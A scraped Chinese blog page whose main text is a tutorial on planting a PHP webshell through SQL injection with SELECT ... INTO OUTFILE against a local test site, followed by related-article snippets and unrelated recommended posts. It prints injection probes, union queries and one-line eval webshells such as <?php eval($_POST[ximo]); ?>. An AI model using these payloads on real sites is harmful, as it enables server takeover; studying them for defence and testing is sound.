講一下SQL注入中寫一句話拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 這個語句,下面是一個語句的例子:
SELECT * INTO OUTFILE 'C:\log1.txt'
這樣就可以把查詢到的數據寫入到C盤的log1.txt這個文件里面。利用這個原理我們可以把PHP的一句話木馬寫到磁盤上從而拿到webshell。
本地的目標站點來實戰一下,我們的目的是在目標的物理路徑D:/WWW/下面生成一個php文件,從而可以使我們用菜刀連接上去:
先簡單的判斷是否存在注入漏洞利用, 使用單引號'報錯, 然后是and 1=1 頁面正常 和 and 1=2 頁面不正常判斷存在sql注入漏洞,現在猜測一下字段數量。
在order by 3的時候會出現錯誤,2的時候正確于是猜測字段2,現在我們通過union查詢語句查詢一下當前的用戶是誰。
當前的用戶是root,于是猜測可能是file權限,試試寫一下木馬到網站路徑,木馬一定要寫16進制。下面我們的一句話是 <?php eval($_POST[ximo]); ?>的16進制
然后菜刀鏈接。。
上面的攻擊原理是最基本的into outfile的利用。
PHP一句話木馬小總結與SQL語句寫一句話木馬
一.基礎類的一句話--功能僅限于驗證漏洞了,實際中太容易被查出出來: <?php @eval($_GET["code"])?> <?php @system($_P ...
PHP結合SQL語句寫一句話木馬
一.基礎類的一句話--功能僅限于驗證漏洞了,實際中太容易被查出出來: 1 <?php @eval($_GET["code"])?> 2 <?php @system ...
web安全測試&;滲透測試之sql注入~~
滲透測試概念: 詳見百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsR ...
web安全防范之SQL注入攻擊、攻擊原理和防范措施
SQL注入 攻擊原理 在編寫SQL語句時,如果直接將用戶傳入的數據作為參數使用字符串拼接的方式插入到SQL查詢中,那么攻擊者可以通過注入其他語句來執行攻擊操作,這些攻擊包括可以通過SQL語句做的任何事 ...
web攻擊與防御技術--SQL注入
sql注入是WEB安全中比較重要而復雜的一個東西.而且危害性比較大. 一般來講SQL注入的話首先要識別注入點.一個是看能不能注入另外一個是看是什么類型的注入比如說字符,數字,搜索(?)等等 GET.P ...
滲透常用SQL注入語句合集
1.判斷有無注入點; and 1=1 and 1=2 2.猜表一般的表的名稱無非是admin adminuser user pass password 等..and 0<>(select ...
SQL注入漏洞技術的詳解
SQL注入漏洞詳解 目錄 SQL注入的分類 判斷是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件讀寫 四:報錯注入 floor報錯注入 ExtractValue報錯注入 Up ...
2017-2018-2 20179205《網絡攻防技術與實踐》第十一周作業 SQL注入攻擊與實踐
第十一周作業 SQL注入攻擊與實踐 1.研究緩沖區溢出的原理,至少針對兩種數據庫進行差異化研究 緩沖區溢出原理 ??在計算機內部,輸入數據通常被存放在一個臨時空間內, ...
Sql注入基礎原理介紹
說明:文章所有內容均截選自實驗樓教程[Sql注入基礎原理介紹]~ 實驗原理 Sql 注入攻擊是通過將惡意的 Sql 查詢或添加語句插入到應用的輸入參數中,再在后臺 Sql 服務器上解析執行進行的攻擊, ...
隨機推薦
HSSFWorkBooK用法
public ActionResult excelPrint() { HSSFWorkbook workbook = new HSSFWorkbook();// 創建一個Excel文件 HSSFShe ...
html5 canvas 鼠標繪制
...SQL Server select into用法
作用: SELECT INTO 語句從一個表中選取數據,然后把數據插入另一個表中. SELECT INTO 語句常用于創建表的備份復件或者用于對記錄進行存檔 這個語句會在數據庫中用和你所指定的列類型和 ...
java中File類的相關學習
File類 1.關于系統路徑分割符. 在Windows中,使用反斜杠“\”作為路徑分割符,比如“c:\test”,但是java中反斜杠表示轉義,所以需要用“C:\\test”在程序中來表示路徑.還可以 ...
致終將火爆的NFC——ISO14443 TypeA
毫無疑問,當NFC終端越來越普及,逐漸成為智能手機標配功能后,我們終將迎來NFC的火爆.國內NFC應用最為廣泛的將是TypeA,如Mifare.NFC?Tag.移動支付等,所以接下來將主要研究Type ...
ubuntu 16.04下安裝使用OpenCV2.4.13
本來項目是在Windows下寫的,結果對接的時候發現要在Linux下實現,沒辦法只能重新移植了.以前在ubuntu上使用過OpenCV,可惜系統已經重新安裝過,只能重新來一遍了,索性就記錄一下安裝過程 ...
LeetCode算法題-Repeated Substring Pattern(Java實現)
這是悅樂書的第236次更新,第249篇原創 01 看題和準備 今天介紹的是LeetCode算法題中Easy級別的第103題(順位題號是459).給定非空字符串檢查是否可以通過獲取它的子字符串并將子字符 ...
JavaScript學習day3 (基本語法下)
if/else for while 函數的使用 JavaScript語句 if/else 語句 JavaScript 中的if/else 判斷選擇,語法格式是這樣的 switch/case 語句 在做 ...
網絡編程——UDP編程
一個簡單的聊天代碼:運行結果: 在這個程序之中,由于recvfrom函數擁塞函數,沒有數據時會一直阻塞,所以客戶端和服務器端只能通過一回一答的方式進行信息傳遞.嚴格的講UDP沒有明確的客戶端和服務端, ...
小a與星際探索
鏈接:https://ac.nowcoder.com/acm/contest/317/C來源:牛客網 小a正在玩一款星際探索游戲,小a需要駕駛著飛船從11號星球出發前往nn號星球.其中每個星球有一個能 ...